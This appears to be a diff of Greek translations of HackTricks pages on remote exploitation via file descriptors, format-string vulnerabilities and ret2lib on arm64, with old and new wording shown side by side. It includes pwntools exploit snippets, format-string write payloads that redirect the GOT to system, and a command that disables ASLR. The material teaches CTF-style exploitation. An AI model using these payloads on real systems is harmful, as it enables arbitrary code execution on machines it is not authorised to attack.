* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## FDs στην Απομακρυσμένη Εκμετάλλευση
## FDs σε Απομακρυσμένη Εκμετάλλευση
Όταν στέλνετε ένα εκμεταλλευτικό πρόγραμμα σε ένα απομακρυσμένο διακομιστή που καλεί το **`system('/bin/sh')`** για παράδειγμα, αυτό θα εκτελεστεί στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από το stdin (FD: `0`) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs `1` και `2`). Έτσι ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδρά με το κέλυφος.
Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί **`system('/bin/sh')`** για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από stdin (FD: `0`) και θα εκτυπώνει την έξοδο σε stdout και stderr (FDs `1` και `2`). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.
Ένας τρόπος να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε τον **αριθμό FD `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα βρίσκεται στον **αριθμό FD `4`**. Επομένως, είναι δυνατό να χρησιμοποιηθεί η κλήση συστήματος **`dup2`** για να διπλασιάσει το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να γίνει εφικτή η επικοινωνία με το κέλυφος μόλις εκτελεστεί.
Ένας τρόπος για να το διορθώσετε είναι να υποθέσετε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το **FD αριθμό `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο **FD αριθμό `4`**. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την syscall **`dup2`** για να διπλασιάσετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελείται.
[**Παράδειγμα εκμετάλλευσης από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
@ -37,8 +40,23 @@ p.interactive()
```
## Socat & pty
Σημειώστε ότι το socat μεταφέρει ήδη τα **`stdin`** και **`stdout`** στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` (`DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας.
Σημειώστε ότι το socat ήδη μεταφέρει **`stdin`** και **`stdout`** στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` ( `DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας.
Για να παρακάμψετε αυτό, ο **χαρακτήρας απόδρασης `\x16` πρέπει να προηγείται κάθε `\x7f` που στέλνετε.**
Για να παρακαμφθεί αυτό, το **χαρακτήρα διαφυγής `\x16` πρέπει να προστεθεί πριν από οποιοδήποτε `\x7f` σταλεί.**
**Εδώ μπορείτε** [**να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Εδώ μπορείτε να** [**βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,29 @@
# Συμβολοσειρές Μορφοποίησης
# Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Στη γλώσσα C, η **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** μια συμβολοσειρά. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** που θα **αντικατασταθούν** στους **μορφοποιητές** από το ακατέργαστο κείμενο.
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που περιμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα μπορεί να δημιουργήσει μια **ειδική είσοδο καταχρώμενος** τις δυνατότητες της συμβολοσειράς μορφοποίησης του **printf** για να διαβάσει και **εγγράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/εγγράψιμη)**. Με αυτόν τον τρόπο είναι δυνατή η **εκτέλεση αυθαίρετου κώδικα**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -42,11 +47,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Με Λείποντα Ορίσματα:
* Με Ελλείποντες Παραμέτρους:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
* ευάλωτη συνάρτηση fprintf:
* fprintf ευάλωτο:
```c
#include <stdio.h>
@ -61,27 +66,27 @@ return 0;
```
### **Πρόσβαση σε Δείκτες**
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει στο printf να επιλέξει την παράμετρο n (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
```c
printf("%x %x %x %x")
```
και θα διαβάζετε από την πρώτη έως την τέταρτη παράμετρο.
και θα διαβάζατε από την πρώτη έως την τέταρτη παράμετρο.
Ή μπορείτε να κάνετε:
Ή θα μπορούσατε να κάνετε:
```c
printf("$4%x")
```
και διαβάστε απευθείας το τέταρτο.
και να διαβάσει απευθείας το τέταρτο.
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `pr`**`intf`**, που σημαίνει βασικά ότι η είσοδός του θα βρίσκεται στη στοίβα όταν καλείται το `printf`, πράγμα που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `pr`**`intf`**, που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν κληθεί το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτήν την είσοδο, θα μπορεί να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
{% endhint %}
## **Αυθαίρετη Ανάγνωση**
Είναι δυνατό να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να πάρει τη **διεύθυνση** που βρίσκεται στη **θέση n**, ακολουθούμενη από αυτή και **να την εκτυπώσει σαν να ήταν ένα string** (εκτύπωση μέχρι να βρεθεί το 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στην 4η θέση στη στοίβα, είναι δυνατό να εκτυπώσουμε την αρχή του δυαδικού με:
Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
```python
from pwn import *
@ -95,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Σημειώστε ότι δεν μπορείτε να τοποθετήσετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου επειδή η συμβολοσειρά θα καταλήξει στο 0x00 στο τέλος αυτής της διεύθυνσης.
Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
{% endhint %}
### Εύρεση μετατόπισης
### Βρείτε την απόσταση
Για να βρείτε τη μετατόπιση προς την είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από το **`%1$x`** και να **αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
<details>
<summary>Βίαιη εύρεση μετατόπισης printf</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -139,41 +144,41 @@ p.close()
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
* **Αποθήκευση** του **δυαδικού** από τη μνήμη
* **Πρόσβαση σε συγκεκριμένα τμήματα μνήμης όπου αποθηκεύονται ευαίσθητες** **πληροφορίες** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένοι κωδικοί πρόσβασης όπως σε αυτήν την [**πρόκληση CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
* **Dump** το **binary** από τη μνήμη
* **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Αυθαίρετη Εγγραφή**
Ο μορφοποιητής **`$<num>%n`** **εγγράφει** τον **αριθμό των γραμμένων bytes** στην **υποδειγμένη διεύθυνση** στην παράμετρο \<num> στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει τόσα χαρακτήρες όσα θέλει με την printf, τότε θα μπορεί να κάνει το **`$<num>%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ο μορφοποιητής **`$<num>%n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`$<num>%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προστεθούν 9999 "A" στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιηθεί ο μορφοποιητής **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που δείχνει η θέση `num`**.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ωστόσο, να σημειωθεί ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (που είναι ένα ΤΕΡΑΣΤΙΟ νούμερο για να γραφτεί με μία φορά), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφτούν μόνο 2 Bytes**. Συνεπώς, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και μια άλλη φορά για τα χαμηλότερα.
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφτεί οτιδήποτε σε οποιαδήποτε διεύθυνση (αυθαίρετη εγγραφή).**
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
Σε αυτό το παράδειγμα, ο στόχος είναι να **αντικατασταθεί** η **διεύθυνση** μιας **συνάρτησης** στον **πίνακα GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές αυθαίρετης εγγραφής για εκτέλεση:
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Θα **αντικατασταθεί** μια **συνάρτηση** που **λαμβάνει** τα **ορίσματά της** από τον **χρήστη** και θα την **κατευθύνει** προς τη **συνάρτηση `system`**.\
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφετε τα 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό χρησιμοποιείται το **`$hn`**.
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία `system`**.\
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
* Το **HOB** αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
* Το **LOB** αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης
* **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
* **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του τρόπου λειτουργίας της συμβολοσειράς μορφοποίησης, πρέπει να **γράψετε πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο.
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γράψετε πρώτα το μικρότερο** από \[HOB, LOB] και μετά το άλλο.
Αν το HOB < LOB\
`[διεύθυνση+2][διεύθυνση]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Αν HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Αν το HOB > LOB\
`[διεύθυνση+2][διεύθυνση]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
Αν HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -183,9 +188,9 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
{% endcode %}
### Πρότυπο Pwntools
### Pwntools Template
Μπορείτε να βρείτε ένα **πρότυπο** για την προετοιμασία ενός εκμεταλλεύοντας για αυτο το είδος ευπαθειας στο:
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
@ -210,18 +215,33 @@ p.sendline('/bin/sh')
p.interactive()
```
## Format Strings σε BOF
## Format Strings to BOF
Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας format string για **εγγραφή σε διευθύνσεις του stack** και εκμεταλλευτείτε μια ευπάθεια τύπου **buffer overflow**.
Είναι δυνατόν να καταχραστούμε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψουμε σε διευθύνσεις της στοίβας** και να εκμεταλλευτούμε μια ευπάθεια τύπου **buffer overflow**.
## Άλλα Παραδείγματα & Αναφορές
## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική χρήση format strings για διαρροή της σημαίας από το stack (χωρίς την ανάγκη να τροποποιηθεί η ροή εκτέλεσης)
* 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, χωρίς canary, nx, χωρίς pie, format string για αντικατάσταση της διεύθυνσης `fflush` με τη λειτουργία win (ret2win)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη λειτουργία win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, χωρίς canary, nx, χωρίς pie, format string για εγγραφή μιας διεύθυνσης μέσα στο main στο `.fini_array` (ώστε η ροή να επαναλαμβάνεται 1 ακόμη φορά) και εγγραφή της διεύθυνσης στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνοντας στο `system`, θα εκτελέσει τις περασμένες εντολές.
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2lib + Printf διαρροή - arm64
# Ret2lib + Printf leak - arm64
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Ret2lib - Παράκαμψη NX με ROP (χωρίς ASLR)
## Ret2lib - NX bypass με ROP (χωρίς ASLR)
```c
#include <stdio.h>
@ -31,41 +32,41 @@ printfleak();
bof();
}
```
Μεταγλώττιση χωρίς canary:
Συγκέντρωση χωρίς καναρίδα:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Εύρεση μετατόπισης
### Βρείτε την απόσταση
### Μετατόπιση x30
### Απόσταση x30
Δημιουργώντας ένα πρότυπο με την εντολή **`pattern create 200`**, χρησιμοποιώντας το και ελέγχοντας τη μετατόπιση με την εντολή **`pattern search $x30`** βλέπουμε ότι η μετατόπιση είναι **`108`** (0x6c).
Δημιουργώντας ένα μοτίβο με **`pattern create 200`**, χρησιμοποιώντας το και ελέγχοντας για την απόσταση με **`pattern search $x30`** μπορούμε να δούμε ότι η απόσταση είναι **`108`** (0x6c).
